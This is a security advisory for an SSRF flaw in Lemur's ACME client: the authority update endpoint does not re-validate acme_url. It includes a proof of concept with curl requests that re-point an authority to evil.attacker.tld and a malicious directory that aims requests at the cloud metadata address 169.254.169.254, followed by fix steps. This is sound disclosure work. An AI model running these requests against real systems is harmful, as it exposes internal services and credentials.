VDB
KO
HIGH 7.4

GHSA-xpmj-wjcp-6pww

Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs

Quick fix

GHSA-xpmj-wjcp-6pww — lemur: upgrade to the fixed version with the command below.

pip install --upgrade 'lemur>=1.9.3'

Details

### Summary The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the **ACME server returns** in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but **only at authority creation**. The authority UPDATE path (`PUT /authorities/<id>`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

### Detail **Defect A - allowlist only at creation.** `_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs **only inside `create_authority`** (lines 337, 481). The update path stores `options` verbatim: ```python # lemur/authorities/views.py:417-424 (Authorities.put) return service.update( authority_id, owner=data["owner"], description=data["description"], active=data["active"], roles=data["roles"], options=data.get("options") # <- acme_url lives here, NO re-validation ) ``` `AuthorityUpdateSchema.options = fields.String()` (`authorities/schemas.py:101`) applies no validation. The docstring of `_validate_acme_url` even admits: *"existing authorities in the DB were already trusted when they were created and are not re-validated."*

**Defect B - ACME client follows server-supplied URLs.** `setup_acme_client_no_retry` (`acme_handlers.py:161-162, 188-202`) reads `acme_url` from stored authority options and creates an ACME client. Per RFC 8555, the client: 1. `get_directory(acme_url)` -> server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs. 2. `new_order()` -> server returns `finalize` and `authorizations` URLs. 3. `poll()`, `finalize_order()`, cert download -> all hit **server-chosen URLs**.

A malicious ACME server can return internal URLs for all of these.

**Authorization on update:** `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any **member of the authority's role**, not a global admin. This is the standard role a certificate issuer holds.

**Source-to-sink trace:** ``` PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member) -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"}) <- no re-validation … next certificate issuance against this authority … setup_acme_client_no_retry reads acme_url=evil.attacker.tld -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/... -> Lemur POSTs JWS-signed request to internal URL ```

### Steps to Reproduce (POC)

**Step 1 - Attacker runs a malicious ACME directory server** (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses: ```python # Minimal: a directory endpoint that points "newOrder" at an internal target { "newNonce": "https://evil.attacker.tld/nonce", "newOrder": "http://169.254.169.254/latest/meta-data/", # <- internal "revokeCert": "https://evil.attacker.tld/revoke", "keyChange": "https://evil.attacker.tld/key" } ```

**Step 2 - Attacker (authority-role member) repoints an existing ACME authority:** ```bash curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \ -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \ -d '{ "name":"letsencrypt", "owner":"attacker@corp.com", "description":"x","active":true, "roles":[{"id":7,"name":"letsencrypt_operator"}], "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]" }' ```

**Step 3 - Issue a certificate against the repointed authority** (via UI/API): ```bash curl -k -X POST https://lemur.example.com/api/1/certificates \ -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \ -d '{"commonName":"demo.example.com","owner":"attacker@corp.com", "authority":{"name":"letsencrypt"},"validityYears":1}' ``` The Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

> *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

### Impact - **JWS-authenticated POSTs** to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance. - Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host. - The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a **non-admin** authority-role member without ever needing the admin-gated creation path. - **Limitation:** requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

### Fix 1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` **immutable** after authority creation. 2. In the ACME client wrapper, **pin every outbound request host** to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured `acme_url` hostname.

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Affected packages

PyPI / lemur
Introduced in: 0 Fixed in: 1.9.3
Fix pip install --upgrade 'lemur>=1.9.3'

References